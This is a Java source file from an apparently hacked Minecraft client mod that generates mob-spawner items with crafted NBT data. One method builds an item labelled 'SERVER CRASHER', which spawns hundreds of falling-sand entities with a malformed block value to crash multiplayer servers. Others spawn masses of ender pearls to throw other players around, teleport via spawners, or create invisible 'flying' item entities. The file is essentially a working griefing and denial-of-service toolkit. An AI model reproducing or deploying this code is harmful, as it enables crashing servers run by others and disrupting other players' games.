HackedItemUtils

package de.tnt_block_unkown.tntmod.utils;

import net.minecraft.init.Blocks;
import net.minecraft.item.Item;
import net.minecraft.item.ItemStack;
import net.minecraft.nbt.NBTTagCompound;
import net.minecraft.nbt.NBTTagDouble;
import net.minecraft.nbt.NBTTagList;

public class HackedItemUtils {
	public static ItemStack generateTeleportSpawner(String owner, double x, double y, double z) {
		ItemStack itm = new ItemStack(Blocks.mob_spawner);
		NBTTagCompound base = new NBTTagCompound();
		NBTTagCompound blockEntityTag = new NBTTagCompound();

		blockEntityTag.setString("EntityId", "ThrownEnderpearl");
		blockEntityTag.setInteger("SpawnCount", 1);
		blockEntityTag.setInteger("SpawnRange", 1);
		blockEntityTag.setInteger("RequiredPlayerRange", 20);
		blockEntityTag.setInteger("MinSpawnDelay", 5);
		blockEntityTag.setInteger("MaxSpawnDelay", 5);
		blockEntityTag.setInteger("MaxNearbyEntities", 20);

		NBTTagCompound spawnData = new NBTTagCompound();

		spawnData.setByte("shake", (byte) 0);
		spawnData.setString("ownerName", owner);

		NBTTagList pos = new NBTTagList();
		pos.appendTag(new NBTTagDouble(x));
		pos.appendTag(new NBTTagDouble(y));
		pos.appendTag(new NBTTagDouble(z));

		spawnData.setTag("Pos", pos);

		blockEntityTag.setTag("SpawnData", spawnData);
		base.setTag("BlockEntityTag", blockEntityTag);

		itm.setTagCompound(base);

		return itm;
	}

	public static ItemStack generateSpielerWirbler(String owner, double y) {
		ItemStack itm = new ItemStack(Blocks.mob_spawner);

		NBTTagCompound blockEntityTag = new NBTTagCompound();
		blockEntityTag.setString("EntityId", "ThrownEnderpearl");
		blockEntityTag.setInteger("SpawnCount", 500);
		blockEntityTag.setInteger("SpawnRange", 50);
		blockEntityTag.setInteger("RequiredPlayerRange", 5000);
		blockEntityTag.setInteger("MinSpawnDelay", 5);
		blockEntityTag.setInteger("MaxSpawnDelay", 5);
		blockEntityTag.setInteger("MaxNearbyEntities", 5000);

		NBTTagCompound spawnData = new NBTTagCompound();
		spawnData.setByte("shake", (byte) 0);
		spawnData.setString("ownerName", owner);

		NBTTagList motion = new NBTTagList();
		motion.appendTag(new NBTTagDouble((double) 0.0D));
		motion.appendTag(new NBTTagDouble((double) y));
		motion.appendTag(new NBTTagDouble((double) 0.0D));

		spawnData.setTag("Motion", motion);
		blockEntityTag.setTag("SpawnData", spawnData);
		itm.setTagInfo("BlockEntityTag", blockEntityTag);
		itm.setStackDisplayName("§4TNTModSpawner: " + "§6Owner: §f" + owner + " | §6Höhe: §f" + String.valueOf(y));
		return itm;
	}

	public static ItemStack generateStandartSpawner(String entity, int count, int range, int playerrange, int delay, int mindelay,
			int maxdelay, int maxnearbyentitys) {
		ItemStack itm = new ItemStack(Blocks.mob_spawner);

		NBTTagCompound blockEntityTag = new NBTTagCompound();
		blockEntityTag.setString("EntityId", entity);
		blockEntityTag.setInteger("SpawnCount", count);
		blockEntityTag.setInteger("SpawnRange", range);
		blockEntityTag.setInteger("RequiredPlayerRange", playerrange);
		blockEntityTag.setInteger("Delay", delay);
		blockEntityTag.setInteger("MinSpawnDelay", mindelay);
		blockEntityTag.setInteger("MaxSpawnDelay", maxdelay);
		blockEntityTag.setInteger("MaxNearbyEntities", maxnearbyentitys);

		itm.setTagInfo("BlockEntityTag", blockEntityTag);
		itm.setStackDisplayName("§4TNTModSpawner: " + entity);

		return itm;
	}

	public static ItemStack generateFallingSandServerStopper() {
		ItemStack itm = new ItemStack(Blocks.mob_spawner);

		NBTTagCompound blockEntityTag = new NBTTagCompound();
		blockEntityTag.setString("EntityId", "FallingSand");
		blockEntityTag.setInteger("SpawnCount", 500);
		blockEntityTag.setInteger("SpawnRange", 50);
		blockEntityTag.setInteger("RequiredPlayerRange", 5000);
		blockEntityTag.setInteger("MinSpawnDelay", 5);
		blockEntityTag.setInteger("MaxSpawnDelay", 5);
		blockEntityTag.setInteger("MaxNearbyEntities", 5000);

		NBTTagCompound spawnData = new NBTTagCompound();
		spawnData.setString("Block",
				"((25[0-5]|2[0-4][0-9]|[0-1][0-9]{2}|[1-9][0-9]|[1-9])\\.(25[0-5]|2[0-4]"
						+ "[0-9]|[0-1][0-9]{2}|[1-9][0-9]|[1-9]|0)\\.(25[0-5]|2[0-4][0-9]|[0-1]"
						+ "[0-9]{2}|[1-9][0-9]|[1-9]|0)\\.(25[0-5]|2[0-4][0-9]|[0-1][0-9]{2}" + "|[1-9][0-9]|[0-9]))");
		spawnData.setInteger("Data", 0);
		spawnData.setInteger("Time", 1);
		spawnData.setInteger("DropItem", 0);

		blockEntityTag.setTag("SpawnDat", spawnData);
		itm.setTagInfo("BlockEntityTag", blockEntityTag);
		itm.setStackDisplayName("§4§l§oSERVER CRASHER! ACHTUNG");
		return itm;
	}

	public static NBTTagCompound generateRidingFlyCompound() {

		NBTTagCompound riding = new NBTTagCompound();
		riding.setString("id", "Bat");
		riding.setInteger("Silent", 1);

		NBTTagList activeEffects = new NBTTagList();

		NBTTagCompound invis = new NBTTagCompound();
		invis.setInteger("Id", 14);
		invis.setInteger("Amplifier", 0);
		invis.setInteger("Duration", 2147483647);
		invis.setByte("ShowParticles", (byte) 0);

		activeEffects.appendTag(invis);
		riding.setTag("ActiveEffects", activeEffects);
		return riding;

	}

	public static ItemStack generateFlyItems(String item) throws Error {
		Item fromMC = Item.getByNameOrId(item.toLowerCase());
		if (fromMC != null) {
			ItemStack itm = new ItemStack(Blocks.mob_spawner, 1, 0);

			NBTTagCompound blockEntityTag = new NBTTagCompound();
			blockEntityTag.setInteger("SpawnCount", 5);
			blockEntityTag.setInteger("SpawnRange", 2);
			blockEntityTag.setInteger("MaxNearbyEntities", 5);
			blockEntityTag.setInteger("Delay", 5);
			blockEntityTag.setString("EntityId", "Item");

			NBTTagCompound spawnData = new NBTTagCompound();

			NBTTagCompound spawnItem = new NBTTagCompound();
			spawnItem.setString("id", item.toLowerCase());
			spawnItem.setInteger("Count", 1);

			spawnData.setTag("Item", spawnItem);
			spawnData.setInteger("Age", -32768);
			spawnData.setInteger("PickupDelay", 32767);
			spawnData.setTag("Riding", generateRidingFlyCompound());

			blockEntityTag.setTag("SpawnData", spawnData);
			itm.setTagInfo("BlockEntityTag", blockEntityTag);
			itm.setStackDisplayName("§6Flying: " + Character.toUpperCase(item.charAt(0)) + item.substring(1));
			return itm;
		} else {
			throw new Error("Item nicht gefunden!");
		}
	}
}